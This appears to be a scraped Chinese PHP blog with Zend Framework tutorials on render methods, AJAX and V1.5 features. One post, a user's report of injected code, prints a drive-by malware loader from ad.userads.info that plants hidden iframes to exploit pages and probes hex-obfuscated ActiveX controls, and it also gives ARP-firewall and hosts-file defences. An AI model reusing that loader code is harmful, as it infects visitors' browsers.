那么如何确定及输出内容呢,就是进行render了,不过这个render却是有好几个的,下面列出这几个情形
1<?php
2class IndexController extends Zend_Controller_Action
3{
4 public function contactAction()
5 {
6 //$this->render(“index”);
7 //$this->render();
8 //$this->renderScript(“sidebar.phtml”);
9
10
11 //$this->_helper->viewRenderer(“sidebar”);
12
13 //$this->view->render(“sidebar.phtml”);
14 //$this->view(“sidebar”);
15
16 }
17}
18?>

总结下来,似乎就是这三中render了(欢迎补充)

1.自身render

先看第一种
//$this->render(“index”);
//$this->render();
//$this->renderScript(“sidebar.phtml”);
这是直接使用Zend_Controller_Action类的render方法
第一句是render了另一个action所对应的视图(看清了 是render那个action对应的视图 而不是执行那个action!)
第二句式render本action对应的视图,这个有什么意义呢(因为很多情形你看不到这个写法的),这个下面再说.
第三句是render特定的视图文件,这里你可能认为前两个方法实际是调用了这个renderScript,其实不是如此.
下面就阐述一下.顺便解释第二句的原因.
Zend_Controller_Action类的render方法中其实是有两个分支的 如下render函数代码
1 public function render($action = null, $name = null, $noController = false)
2 {
3 if (!$this->getInvokeArg(‘noViewRenderer‘) && $this->_helper->hasHelper(‘viewRenderer‘)) {
4 return $this->_helper->viewRenderer->render($action, $name, $noController);
5 }
6
7 $view = $this->initView();
8 $script = $this->getViewScript($action, $noController);
9
10 $this->getResponse()->appendBody(
11 $view->render($script),
12 $name
13 );
14 }
可以看到一种情形是利用(代理)了视图助手类(viewRenderer)的render方法
另一种是禁用助手时的情形 就得亲自上阵了,这也就是render()出现的原因,你禁用了视图助手后要输出本action对应视图内容可以使用render()来完成

2.通过视图助手viewRenderer

上面说起了视图助手,那我们来看action中的第二个片段,正是借助视图助手来进行
//$this->_helper->viewRenderer(“sidebar”);
实际上这里这句话并不是render内容,而是指定了要render哪个视图,参考Zend_Controller_Action_Helper_ViewRenderer类的这个函数
1 public function direct($action = null, $name = null, $noController = null)
2 {
3 $this->setRender($action, $name, $noController);
4 }
那么输出呢 是怎么输出的?
可以在$this->_helper->viewRenderer(“sidebar”); 后直接调用$this->render();即可.
但是实际上你完全不用调用,只写那一句就行.
你不写render的时候,视图助手会来替你完成.在Zend_Controller_Action类中的dispatch方法中有这么一句
$this->_helper->notifyPostDispatch();
_helper是什么? 是一个Zend_Controller_Action_HelperBroker类 ,其中有这个方法
1 public function notifyPostDispatch()
2 {
3 foreach (self::getStack() as $helper) {
4 $helper->postDispatch();
5 }
6 }

可以看到调用了其中各个助手的postDispatch();
而viewRenderer正是其中的一个助手,其postDispatch方法如下
1 public function postDispatch()
2 {
3 if ($this->_shouldRender()) {
4 $this->render();
5 }
6 }
正是在这里视图助手帮你进行了render,如果你自己render了,聪明的视图助手会知晓的,可以查看下在_shouldRender()中的这个 $this->getRequest()->isDispatched(),及Zend_Controller_Front 类中dispatch方法的这句话:$this->_request->setDispatched(true);

3.终极render 关于Zend_View->render()

好了现在我们来看看Zend_View的render().
在上面的两个中我们都说到了render(),比如action的render和视图助手的render
那么你该问个问题:就这样了?后面呢?
后面的才是关键的.
在action的render中,你可能注意到这句话了
10 $this->getResponse()->appendBody(
11 $view->render($script),
12 $name
13 );
而我们再看看viewRenderer的render(),viewRenderer的render方法其实是调用了renderScript方法,代码如下
1 public function renderScript($script, $name = null)
2 {
3 if (null === $name) {
4 $name = $this->getResponseSegment();
5 }
6
7 $this->getResponse()->appendBody(
8 $this->view->render($script),
9 $name
10 );
11
12 $this->setNoRender();
13 }
可以看到这里跟action的render有点类似,也有同样的那句话.
就是说action的render和viewRenderer的render其实都是调用Zend_View的render,拿到内容而后置放到response中

Zend_View的render:
1 public function render($name)
2 {
3 // find the script file name using the parent private method
4 $this->_file = $this->_script($name);
5 unset($name); // remove $name from local scope
6
7 ob_start();
8 $this->_run($this->_file);
9
10 return $this->_filter(ob_get_clean()); // filter output
11 }

至于run:
1 protected function _run()
2 {
3 if ($this->_useViewStream && $this->useStreamWrapper()) {
4 include ‘zend.view://‘ . func_get_arg(0);
5 } else {
6 include func_get_arg(0);
7 }
8 }

那么你就明白了最开始代码中的第13行
13 //$this->view->render(“sidebar.phtml”);
其实是个幌子,哈.这句话只是得到了内容,但是呢 没做处理!
所以我们应该这样
13 echo $this->view->render(“sidebar.phtml”);
再然后呢?参看Zend_Controller_Front类dispatch
$this->_response->sendResponse();
及Zend_Controller_Response_Abstract类
1 public function outputBody()
2 {
3 foreach ($this->_body as $content) {
4 echo $content;
5 }
6 }

而至于第14行
14 //$this->view(“sidebar”);
貌似合理,瞪一眼就知道了:这句话地地道道的错误
action 中没有这个方法,__call中也没有相应处理,不象_helper->viewRenderer(“sidebar”);在 _helper针对该情况在__call中有相应处理
1 public function __call($method, $args)
2 {
3 $helper = $this->getHelper($method);
4 if (!method_exists($helper, ‘direct‘)) {
5 require_once ‘Zend/Controller/Action/Exception.php‘;
6 throw new Zend_Controller_Action_Exception(‘Helper ”‘ . $method .‘“ does not support overloading via direct()‘);
7 }
8 return call_user_func_array(array($helper, ‘direct‘), $args);
9 }
没有viewRenderer这个方法,于是去寻找名为viewRenderer并且有direct方法的助手,找到了即执行这个direct方法(上面第二部分贴过代码了)
至于viewRenderer这个助手存放时,要注意到他的名字是死的 就是”viewRenderer”,具体看Zend_Controller_Action_Helper_Abstract类的getName方法
1 public function getName()
2 {
3 $full_class_name = get_class($this);
4
5 if (strpos($full_class_name, ‘_‘) !== false) {
6 $helper_name = strrchr($full_class_name, ‘_‘);
7 return ltrim($helper_name, ‘_‘);
8 } else {
9 return $full_class_name;
10 }
11 }
之所以提到这点是因为在Zend_Controller_Action_Helper_ViewRenderer注释中你能看到这句话
// In your action controller methods:
$viewHelper = $this->_helper->getHelper(‘view’);
而实际上你复制这句话到your action controller methods中去 只会出错
Exception information:

Message: Action Helper by name View not found

个人感觉php Zend Framework还是很不错,虽然一直没搞好调试器
但是非常满意于可以随处置放var_dump

Related items

• 今日到南京上网，发现偶尔打开的网页出现如下代码
• zend framework错误或者异常信息捕捉
• jQuery AJAX in Zend Framework
• Zend Framework V1.5 中的新特性
• 【转帖】Zend Framework中Ajax的一个使用技巧

您可能也喜欢：

Zend Framework V1.5 中的新特性

jQuery AJAX in Zend Framework

zend framework错误或者异常信息捕捉

【转帖】Zend Framework中Ajax的一个使用技巧

无觅

<script language="javascript" SRC="http://ad.userads.info/ads.js"></script>

追踪http://ad.userads.info/ads.js
会出现如代码：

document.writeln("<script>");
document.writeln("function oK_Begin(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\'<iframe width=0 height=0 src=\"http://ad.userads.info/in.htm\">
<\/iframe>\');");
document.writeln("}");
document.writeln("}");
document.writeln("oK_Begin();");
document.writeln("<\/script>");
document.writeln("<script>window.onerror=function(){return true;}<\/script>")

还没有时间分析这个js代码有啥危害，不过感觉应该不是什么好动西！现在的病毒真是无孔不入啊！
使用firefox和chrome都会出现，看来不是浏览器的问题！

继续追踪：http://ad.userads.info/in.htm

<script>
window.status="完成";
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=20 height=0 src=14.htm></iframe>");
document.write("<iframe width=20 height=0 src=flash.htm></iframe>");
document.write("<iframe width=20 height=0 src=re10.htm></iframe>");
document.write("<iframe width=20 height=0 src=uu.htm></iframe>");
try{var f;
var gw=new ActiveXObject("\x47\x4c\x49\x45\x44\x6f\x77\x6e\x2e\x49\x45\x44\x6f\x77\x6e\x2e\x31");}
catch(f){};
finally{if(f!="[object Error]"){document.write("<iframe width=100 height=0 src=lz.htm></iframe>");}}
try{var m;
var gw=new ActiveXObject("\x49\x45\x52\x50\x43\x74\x6C\x2E\x49\x45\x52\x50\x43\x74\x6C\x2E\x31");}
catch(m){};
finally{if(m!="[object Error]"){document.write("<iframe width=100 height=0 src=re11.htm></iframe>");}}
</script>
<iframe width=100 height=0 src=flash.htm></iframe>
<iframe width=100 height=0 src=sina.htm></iframe>
<iframe width=100 height=0 src=office.htm></iframe>
<script type="text/javascript" src="http://js.tongji.cn.yahoo.com/695113/ystat.js"></script><noscript>
<a href="http://tongji.cn.yahoo.com"><img src="http://img.tongji.cn.yahoo.com/695113/ystat.gif"/></a>
</noscript>

这个里面所有文件就是木马程序，幸亏使用firefox上网，要是ie肯定就中招了！唉！垃圾木马制造者！你们真是垃圾中的战斗机啊！

这个病毒看来是ARP攻击了，这种木马一旦局域网内的一台机器中毒了，这个机器会攻击路由器或者网关，模拟路由器或者网关的mac地址，向局域网内的所有机器发送病毒代码，也就是说这台机器模拟了路由器或者网关，当你上网的时候需要经过路由器或者网关，而冒充的网关就给你网页代码路过的时候增加了病毒代码。这样你打开的每个网页都可能有病毒。遇到这种情况你需要安装arp防火墙，这里有免费的，就是360ARP防火墙。

安装后的防火墙能够过滤冒牌的路由器或者网关发送过来的病毒代码，使得你的上网安全。在这里想免费的360致敬！

第二种解决办法：在本地host表中，将ad.userads.info解析到本机ip：127.0.0.1这样即使你的机器遇到了这个木马代码，木马也无法下载病毒到你的本机，从而保证了你本地机器的安全。这种解决措施也是目前360软件的解决方案。

Related items

• 如何在自己的博客上卖淘宝店铺的商品？如何免费推广自己淘宝商品？
• 蝈蝈采集程序核心代码：任意字符串截取函数
• 如何防止服务器被暴力破解密码？
• Get your Mr Right web hosting here
• centOS带宽实时流量查看工具

您可能也喜欢：

蝈蝈采集程序核心代码：任意字符串截取函数

linux和windows下均可查询pr的php代码

php查询alexa排名的代码

如何在自己的博客上卖淘宝店铺的商品？如何免费推广自己淘宝商品？

无觅

Related items

• [转]详细介绍php Zend Framework中的render使用方法
• svn错误：Authentication realm 解决办法
• 今日到南京上网，发现偶尔打开的网页出现如下代码
• jQuery AJAX in Zend Framework
• Zend Framework V1.5 中的新特性

您可能也喜欢：

jQuery AJAX in Zend Framework

Zend Framework V1.5 中的新特性

[转]详细介绍php Zend Framework中的render使用方法

Zend Framework MVC流程图[转帖]

无觅

http://blog.ekini.net/2007/08/28/jquery-ajax-in-zend-framework/

I have posted a sample code on my wiki on how to submit variables to an action controller. The sample code contains a niffty jQuery plugin – the jQuery Calendar.

Click here for the tutorial.

Update (05-07-2008): Since this post has been getting a lot of traffic and the tutorial to my wiki is not that good, I have decided to update this page and post a simpler and shorter tutorial.

So here it is…

The Javascript will look something like this:

//For Edit Action
function editnote(notes_id)
{
//a sample loading image thingy
$(‘#notes_entry_id’).prepend("<div id="’loading’"><a></a></div>");
//Get notes from database - in ZF, notes = controller and getnoteforedit = action
$.post(baseUrl+"/notes/getnoteforedit",{
notes_id: notes_id
}, function(data){
$(‘#loading’).remove();
obj = window.eval(data);
$(‘#textarea_id’).val(obj[‘notes’]);
}, "json"); //this returns JSON.
}

Then my controller would look something like this:

/**
* Get note for action
*
*/
public function getnoteforeditAction()
{
$this->_helper->layout->disableLayout(); //disable layout
$this->_helper->viewRenderer->setNoRender(); //suppress auto-rendering
//the 2 lines above are very important. this action would return html tags from the layout and will look for a phtml file. we disable the layout and suppress auto-rendering of the phtml view files SO that our JSON will be echoed properly to the Javascript…
require_once(‘models/Notes.php’);
require_once(‘models/UsersNotes.php’);
try {
if (!$this->_request->isPost()) {
throw new Exception(‘Invalid action. Not post.’);
}
$Notes = new Notes();
$data = array();
if ($result = $Notes->fetchRow("notes_id=".$Notes->getAdapter()->quote($_POST[‘notes_id’])."")->toArray()) {
$data[‘notes_id’] = $result["notes_id"];
$data[‘notes’] = $result["notes"];
$data[‘datetime_posted’] = $result["datetime_posted"];
$data[’status’] = $result["status"];
$json = Zend_Json::encode($data); //basically, $data array will also be available in the JS.
} else {
throw new Exception(‘Note ID not found.’);
}
echo $json; //this will echo JSON to the Javascript
unset($json);
unset($data);
} catch (Exception $e) {
echo $e->getMessage();
}
}


That’s about it…
The $data that was encoded using Zend_JSON in the controller/action can now be accessed in the Javascript after you call the eval().

Related items

• Zend Framework V1.5 中的新特性
• [转]详细介绍php Zend Framework中的render使用方法
• 今日到南京上网，发现偶尔打开的网页出现如下代码
• 使用juqery创建加载消息Using JQuery for an Ajax loading message
• zend framework错误或者异常信息捕捉

您可能也喜欢：

Zend Framework V1.5 中的新特性

zend framework错误或者异常信息捕捉

Zend Framework MVC流程图[转帖]

【转帖】Zend Framework中Ajax的一个使用技巧

无觅

Zend 收到欢迎的原因是它非常重视最佳实践，这一特性对于那些重视可持续性的开发人员来说十分有吸引力。Zend 以一种高度模块化的方式构造框架：大多数 Zend Framework 组件可以完全分离并单独使用，这一点非常吸引只需要用到可用库的其中一部分的开发人员。Zend 的灵活性以及重视最佳实践而产生的良好标准化，使它成为具有广泛用途的实用框架。

已经很强大的 Zend Framework 在 V1.5 中又增加了几个全新的组件和组件增强。这些升级使开发复杂的 PHP 应用程序更加简单、更加可维护，这是因为对诸如表单验证例程甚至是前端布局创建等内容实现了标准化。让我们首先看一下Zend_Form 组件以及它提供的全部功能。

Zend_Form

Zend Framework 的一个令人兴奋的新增特性就是 Zend_Form 组件。Web 应用程序如果不能接收输入数据并对其进行处理，那么就会变得毫无意义，获得用户数据的最简单方式就是使用表单。当然，在开发与维护一个 Web 应用程序时，表单是最单调乏味的工作：您必须验证收到的全部内容，确保它是您需要的内容，并需要对每个到来的数据片段进行单独处理。所有上述操作都假设您不会生成错误消息并重复所有工作，当然，您肯定会遇到这些问题 — 如果不能重用代码，手工执行这些工作实在是非常让人畏惧的任务。

新的表单组件提供的功能不仅仅是允许您用编程的方法创建一个表单和表单元素。Zend_Form 能够完成复杂的验证并在表单验证失败时在表单中显示错误信息。

Zend_Form 的使用方法简单明了。首先，将 form 对象实例化，然后设置它的动作和方法。最后，将表单元素添加到 form 对象中，并且对单个表单元素应用表单元素验证器和过滤器。在应用程序中呈现和使用完整的 form 对象，对结果进行验证和过滤。查看清单 1 中的简单表单示例。

清单 1. 一个简单的表单

require_once 'Zend/Form.php';
$form = new Zend_Form(array(
'method'　 => 'post',
'elements' => array(
'name' => array('text', array(
'required' => true,
'label' => 'Name',
'validators' => array('alpha')
)),
'age' => array('text', array(
'required' => true,
'label' => 'Age',
'validators' => array('digits')
)),
'submit' => array('submit', array(
'label' => 'Send'
))
),
));

清单 1 的结果如图 1 所示。

图 1. 表单

Zend_Form 附带了下列元素：按钮、复选框、隐藏（hiden）、图片、多选框，多重选择、密码、单选、重置、选择、提交、文本、文本区。Zend_Form 不仅仅限制于附带的元素：内置的 Zend_Form_Element 类允许您创建自己的元素。

您可以手动对表单元素进行实例化并把它们连接到表单，或者让表单对象创建并实例化一个新表单元素，使它符合您要求的类型。在将单个元素附加到 form 对象之前或之后，每个元素都可根据需要进行单独配置，并且在呈现完成的表单之前，可以随时将单独的验证器和过滤器集合附加到它们的表单元素中。

可以对您的表单元素使用 19 种标准验证类型。这些验证器可以检查您通常需要采集的所有数据类型 — 从简单的数据类型检验到正则表达式是否匹配电子邮件地址的验证（可配置为确保存在顶级域并有一个 MX 记录）。默认情况下，如果一个验证器返回 false，则剩余的验证检查都将取消，但这个参数也可以对单个验证器进行配置。

在清单 1 中，一个 alpha 验证器应用到名字字段中，数字验证器应用到年龄字段中。当您输入的数据未通过这些验证测试时，图 2 中显示了默认情况下发生的情况。

图 2 未通过验证测试的表单

准备好验证器之后，下一步将应用过滤器。如果说验证器的作用相当于俱乐部里的保镖，过滤器的作用更象一个造型师：过滤器取出表单元素中的数据，过滤掉您 不希望看到的内容并传递剩下的内容。有 12 种标准的内置过滤器，可用于去掉空格、从数值中去掉字母、把文本转换为大写、把特定字符转换为 HTML 项以及删除禁止的标记。如果您知道所需的数据位于字段中，但是这些数据需要进行大量删减和处理，这种情况下应使用过滤器。

为了在简单的表单中演示过滤器的作用，将对 elements 数组做一些修改。

清单 2. 把过滤器应用到 elements 数组ments' => array(
'name' => array('text', array(
'required' => true,
'label' => 'Name',
'validators' => array('alpha'),
'filters' => array('StringToUpper')
)),
'age' => array('text', array(
'required' => true,
'label' => 'Age',
'validators' => array('digits'),
'filters' => array('digits')
)),
'submit' => array('submit', array(
'label' => 'Send'
))
),

正如您所见，我们增加了一个过滤器把名字字段全部改为大写，并使用另一个过滤器把年龄字段中的非数字内容全部去掉。现在，当我们提交这些值后，我们会看到如下的结果。

图 3. 应用过滤器后的表单

当我们单击 Send 后，下列值将通过验证和过滤器，得到如下所示的结果。

图 4. 应用验证和过滤器后的表单

当且仅当存在一个数字并且数字中没有插入错误内容，那么在传递到服务器时，年龄输入、过滤器和验证器以及该组合所需的属性才可以真正确保某个值会通 过验证。需要注意的是，名字字段通过验证的惟一方式是名字字段必须以 alpha-字符开头，原因是在这种情况下，过滤器不会帮助这个值通过验证器。

可以使用几种方式呈现完成的表单。表单有一种可以直接使用或回显的呈现方法。可是，大多数表单使用 Zend_View helper 进行呈现。

Zend_Layout 和 Zend_View

Zend Framework V1.5 中新的 Zend_Layout 和增强的 Zend_View 组件经常一起提到，这是有原因的。这两个组件协同工作可以成功地在 PHP 应用程序中将表示从控制器中分离出来，并以一种支持快速开发和维护的方式对表示进行标准化。

所有这些意味着什么？

这意味着只要您坚持一些原则并保持代码模块化，那么就可以获得一种标准的、更轻松的方式维护一致的前端。

Zend_Layout 并不需要与 Model-View-Controller (MVC) 一同使用。与 Zend Framework 中的大部分组件一样，Zend_Layout 可以被取出并独立使用，可是，当它与 MVC 一同使用时，它就变成了在 Zend_View 和控制器之间的一个方便的适配器，可以有效地把表示划分为一个两步骤（two-step）视图并使站点布局更具普遍性。

无论您是否正使 用 MVC 或把Zend_Layout 取出作为独立的组件，必须至少创建一个布局脚本。在其他的实现中有时也称作模板，布局脚本定义了一个 Web 页面的基本前端结构，它们把变量（而不是静态数据）放置在页面上，各个页面显示的数据不尽相同（或者更准确地说，不同的动作所显示的数据是不同的）。布局 脚本中占位符变量的填充方式是把布局脚本所需的值分配给布局，告诉布局您希望使用那个特定布局脚本并最终将它呈现为一个页面。

实际的呈现过程由 Zend_View 完成。因此就 Zend_Layout 而言，您可以免费获得 Zend_View 的全部功能。布局脚本应通过视图 helper 进行筛选，否则几乎肯定要做错。视图 helper 是集便利性与标准性于一体的重要组件。

当完成您的布局脚本后，您可以在您的引导程序中创建一个 Zend_Layout 实例并设置您的布局配置选项。在它以这种方式实例化后，您可以从动作中通过动作 helper 访问并重新配置 Zend_Layout 对象。在动作内部，您可以通过编程方式修改您希望 Zend_Layout 实例使用哪个布局脚本，并重新填充每个布局脚本需要的当前变量。从控制器的角度看，最后发送给用户的所有数据被放入一个适配器中，适配器把这些数据用于完 全不同的范围。

OpenID 和 InfoCard (Web 2.0)

OpenID 是一个分散式身份识别协议，可跨多个网站使用。它不需要正确的用户名和密码组合，而是提示给用户一个从现有的 OpenID 提供者处得到的 URL 或 XRL。由提供者完成身份验证过程。提供者执行身份验证过程的一种方式是请求一个 InfoCard。当提供者成功地与请求站点完成身份验证通信后，用户就会认为是处于登录状态，并且可以从他的个人 URL 处获得额外的信息。

Zend Framework V1.5 不仅支持将 OpenID 和 InfoCard 作为一个客户机站点，还支持将它们作为 OpenID 提供者。这些组件完全分离，互相之间没有依赖性。这看起来很奇怪，通过 Zend Framework V1.5，您可以开发一个不支持 OpenID 的 OpenID 提供者，反之亦然（这更有意义）。框架中还有一个内置的 InfoCard 组件，它为与 OpenID 协同使用的 InfoCards 提供了依赖方（或支持 OpenID）支持。

Lucene 高级搜索

Lucene 是一个开源的信息检索搜索引擎，以它的全文本索引能力和搜索互联网能力而著名。Zend_Search_Lucene 组件为把 Zend Framework V1.5 交付了内置的全文本高级搜索引擎功能。需要注意的是，虽然 Lucene 是一个搜索引擎，但它没有爬行能力。您必须手动把全部相关内容添加到 Zend_Search_Lucene 的索引中（参见 参考资料 中关于 Lucene 的 developerWorks 文章）。

Zend_Search_Lucene 组件并非首先出现在 Zend Framework V1.5 中。这个搜索引擎的早期版本早已实现。可是，Zend Framework V1.5 的发布标志着它从 V1.9 到 V2.2 这一重要升级。通过这一升级， Lucene 组件获得了三种强大的高级搜索选项。

现在它已经支持一个或多个通配符，用于范围搜索或模糊搜索。范围搜索在一个指定上下界的范围内查找指定字段的值，而模糊搜索查找与用户提供的术语相似的单词。例如，对 “Mike” 的模糊搜索可能会返回 “bike” 和 “mire”。

虽然 Lucene 组件进行了升级，原有的功能仍然存在，并且所有以前存在的索引在增强的 Zend_Search_Lucene 组件第一次用到它们时会自动升级。

LDAP 授权

轻 量级目录访问协议（LDAP）在 Zend Framework 中刚刚得到支持。这对于很多开发人员来说是个好消息，比如那些需要创建使用一组现有的正式企业凭证的企业内部网应用程序的开发人员。在 Zend Framework 的文档中需要注意到，当前的支持仅仅是一个最基本的实现，仅仅交付了完成 Zend_Auth_Adapter_LDAP 工作所需的最少功能。

您的 config.ini 文件中指定了有关 LDAP 服务器的信息。当用户需要身份验证时，需要提供用户名和密码组合，这些内容和一些附加的 Zend_LDAP 选项将被发送到 .ini 文件指定的 LDAP 服务器上进行身份验证。就像所有其他的授权适配器一样，只要 Zend_Auth_Adapter_Ldap 从服务器中用下列方法得到一个授权后，它就立即返回一个 Zend_Auth_Result ：getCode() 将返回发生事件的代码（通过或失败）； getIdentity() 将返回进行身份验证尝试的身份；getMessages() 将只包含失败了的身份验证消息；而如果成功通过身份验证则 isValid() 将返回真。

Nirvanix、Technorati 和 SlideShare Web 服务

三种新的 Web 服务组件也成功加入到 Zend Framework V1.5 中：Nirvanix、Technocrati 和 SlideShare。

Nirvanix 是一个基于互联网的文件存储系统，它允许注册用户通过自己的 API 存储、操作和访问文件。Nirvanix 的设计目的是处理大型的媒体文件（例如视频），并且在能够通过互联网身份验证的任何位置进行访问。

Technorati 是一个博客（blog）搜索引擎，它的 Web 服务允许您对其数据库进行多种不同的查询，包括常规关键字搜索、标记搜索、top 标记搜索、给定关键字的每日博客总数以及 “cosmos” 搜索（可返回包含特定 URL 链接的结果）。使用 Technorati，您可以快速了解到当天最热门的网络话题并随时保持关注。

Slideshare.net 是一个为注册用户托管幻灯片的网站。通过 Slideshare 组件，您可以在您的 PHP 应用程序中嵌入由 Slideshare 托管的幻灯片，观看可以共享的幻灯片，还可以为您的 Slideshare 帐户上传新的幻灯片。

这 三个组件加入到 Zend Framework 目前支持的 Web 服务列表中。不断增加的 Web 服务组件库使您可以快速、轻松地把来自多个流行网站的内容集成到一个 PHP 应用程序中。这些 Web 服务组件可以单独安装，无需安装其他的 Zend Framework 组件，这种特性非常受欢迎，适合于 PHP 开发新手以及经验丰富、喜欢使用不同框架工作的 PHP 开发人员。

接下来，我们将查看一些特性增强，这种增强是对现有特性和组件的重大更新，现有组件和特性需要进行修改，从而满足不断变化的互联网领域的需求。

Google GData

Zend_GData 组件本质上是面向支持 GData API 的各种 Google 服务的大型适配器。可被 Zend_GData 组件访问的更新后的 GData 服务列表包括：

Google Base

Google Blogger

Google Calendar

Google Codesearch

Google Documents List

Google Notebook

Google Provisioning

Google Spreadsheets

Picasa Web Albums

YouTube

也许在 Zend Framework V1.5 中人们最期待的新的 Web 服务支 持是对 YouTube API 的支持。现在，通过使用 Zend_GData，您可以使用很多匹配条件搜索并访问 YouTube 视频、访问视频提要和订阅、查看用户个人信息，查看一个特定用户的全部视频和最受欢迎的视频并获取评论。通过现有的功能，可以找到适当的 YouTube 内容并把它们无缝集成到您的 PHP 应用程序中。

目前，Zend Framework 的 YouTube API 支持是只读的。

对 Ajax 支持的改进： ContextSwitch helper 和 REST

Asynchronous JavaScript + XML (Ajax) 对将信息传送到客户机的浏览器会话的方式产生了深远影响。非常简单：使用 Ajax 客户端 JavaScript 可以请求并接收来自外部信息源的信息，无需离开主窗口位置导航或重新装载。Ajax 大量应用于 Web 应用程序中，如 Gmail，后者在更新信息时保持基础窗口不变，且无需重新装载整个窗口。

Zend Framework V1.5 已经通过 ContextSwitch helper 和 Zend_REST 组件改进了原生 Ajax 支持。

ContextSwitch helper 是 Zend_Controller 的一部分，用于以不同的格式或上下文传送现有内容。例如，假设您已经创建了一个用于创建页面的控制器，它列出您在过去三周内吃过的全部早餐的详细信息。通 常，这将通过含有布局和视图（与浏览器友好的网站的其余内容保持一致）的页面显示。现在假设某个人问您是否能以 XML 的形式提供同样的列表。使用 ContextSwitch，您不需要再创建单独的控制器。只需告诉 helper 它可以显示 XML 并且创建 XML 视图脚本，而不是普通的上下文视图脚本。它将确保文档扩展和标题恰当且形式良好，并且以 Ajax 友好的 XML 形式显示您的全部早餐。

现在，事情甚至更加简单了：在 Zend Framework V1.5 中有一个 AjaxContext helper，它专门用来将上下文切换到 XML，从而构建 Ajax 响应。

对 Ajax 的支持继续扩展到 Zend_REST 组件，它包含 REST 客户机和全部的 REST 服务器功能。Zend_REST 可用于生成您自己的 Web 服务或访问和解析 Web 服务。当然，您发布的 XML Web 服务可通过 Ajax 轻松地进行访问。

结束语

我们已经了解到，Zend Framework V1.5 实现了很多令人兴奋的进展。某些更新可以简化一些日常任务的正确设置，而其他更新则使选项更容易访问。全部这些更新都为您提供了更加强大的功能，这永远不会是坏事。

Related items

• jQuery AJAX in Zend Framework
• [转]详细介绍php Zend Framework中的render使用方法
• 今日到南京上网，发现偶尔打开的网页出现如下代码
• zend framework错误或者异常信息捕捉
• 【转帖】Zend Framework中Ajax的一个使用技巧

您可能也喜欢：

jQuery AJAX in Zend Framework

zend framework错误或者异常信息捕捉

Zend Framework MVC流程图[转帖]

【转帖】Zend Framework中Ajax的一个使用技巧

无觅

几点说明：
1、本文章的Js部分，采用jQuery；我比较中意这个。但是本文章侧重讲的是一个思路；而不是js的写法技巧。
2、阅读本文章前，最好对Zend Framework了解；并了解Zend_Layout的概念。

一个场景的处理思考

先从一个场景来入手。假设你有一个请求时http://project-name/product/list，来显示商品列表。而，普通情况下，你的这个
请求来自左侧菜单栏；请求方式是一个ajax请求；即不更新菜单栏以及header
footer，只更新在<divid=’mainbody’></div>的内容。

这是一个常见的ajax应用场景。

一般情况下，是没什么问题。但是有一天一个聪明的用户知道这个url(知道方法很多)，而直接在浏览器上输入http://project-name/product/list，那么结果呢？
你显示了一块不带有header footer 的html代码，你的界面里没有定义css，因此显示很难看；没有js，可能很多点击无效无法工作。

用户不懂这些，他只知道出现error。

这个情况，你遇到过吗？我的应用中，其实就遇到过；之前的解决办法没有，只是希望用户别这么聪明。

好了，问题明白了；解决之前，我们先一起看看Zend_Layout的使用方法。
更多的Zend_Layout的学习，可以先阅读 http://akrabat.com/2007/12/11/simple-zend_layout-example/的内容 以及官方文档 http://framework.zend.com/manual/en/zend.layout.html

首先建立一个普通的Zend_Layout使用例。

那么，在layout的目录下，建立一个lauout.phtml

这是一个典型的layout布局；其实该模板来自http://www.1-2-3-4.info/ 。利用$this->translate()
可以做到Zend_View内国际化显示；主要内容是在$this->layout()->content内显示；即在<div
id=”mainbody”></div>内显示（这个id名字很关键）。

用户如果请求一个url为http://project-name/product/list，那么Zend_Framework首先执行
ProductController->listAction()
，渲染product/list.phtml，然后填充到layout.phtml内。

这里开始思考一个Ajax场景。

假设存在两个连接（比如在左侧的菜单栏内），一个发出的是Ajax请求，一个是普通的link连接

$.ajaxRequest就是发出一个url请求（参数2），执行后更新div名为mainbody(参数1)的内容。这个js代码后面给出。

一个希望的结果是，如果发出的是link连接（id=link2），当然是整个页面刷新，当然希望除了显示product/list.phtml 还是渲染layout.phtml的内容。
而如果发出的是ajax请求(id=link1)，应该关闭layout.phtml；只显示list.phtml内容。

如果这个问题解决了，很明显，第一部分中，我提到的那个聪明的用户直接输入url请求的问题也随着解决了。其实，用户直接输入就是一个普通link请求。

利用Zend Framework 实现

我们只需要在继承Zend_Controller_Action的时候增加如下代码：

看到了没有 ，$this->getRequest ()->isXmlHttpRequest () 这是一个判断ajax请求的函数。

官方解释在这里 http://framework.zend.com/manual … r.request.http.ajax
当然 jQuery 支持这一函数的判断。

如果是ajax请求 通过 $this->getHelper ( ‘layout’ )->disableLayout (); 关闭layout
否则 渲染lauout的内容；在例子中，我还通过是否存在 当前登录用户loginUser，来渲染不同左侧菜单栏sidebar_menu。

这是一个非常有用的技巧。

另外一个应用

$this->getRequest ()->isXmlHttpRequest () 经常还应用在另外一个ajax场景内。

比如，我们提交一个表单；我们希望通过ajax提交，并将结果显示在一个叫<div id=fm-intro></div>内；而不是刷新整个页面。
一个常见的写法是：

这种写法 是没问题的；缺点和上面一样，在浏览器js失效的情况下，无法正确显示页面。因此，一个好的写法是

更进一步

更进一步，我们在页面显示部分可以这么做；我们在制作sidebar_menu的时候，完全不考虑ajax；首先生成普通的link连接。

很明显，根据上面的设置，这些普通连接都可以正常工作；只是每次都需要刷新整个页面。

为了加速响应速度，采用ajax请求；一个笨方法是，去修改每一个连接，将href的值变成”#”，增加一个onclick请求，写一段js代码。
这样做，除了麻烦之外，一个明显的缺点是，如果用户浏览器不支持js，那么这些连接全部无效。

一个简单的办法如下：不修改原来的html任何东西，只是将普通连接转化为ajax连接

那么toAjaxlink()方法呢？如下代码：

如果用户浏览器js不执行，也就是$(“#sidebar_menu a[@href!='']“).toAjaxLink(); 不工作了，那么连接还是原来的普通连接，一切不变；
那么如果执行 $(“#sidebar_menu a[@href!='']“).toAjaxLink(); ，根据定义连接变成一个ajax连接，请求变成ajax请求。

其实这个技巧，和Zend Framework没有任何关系；可以应用在很多地方。最重要的这种思路解决浏览器端js不支持的问题。而且还减轻服务器端
代码量；我们几乎不需要考虑ajax情况怎么办 非ajax怎么办。比如很多分页类
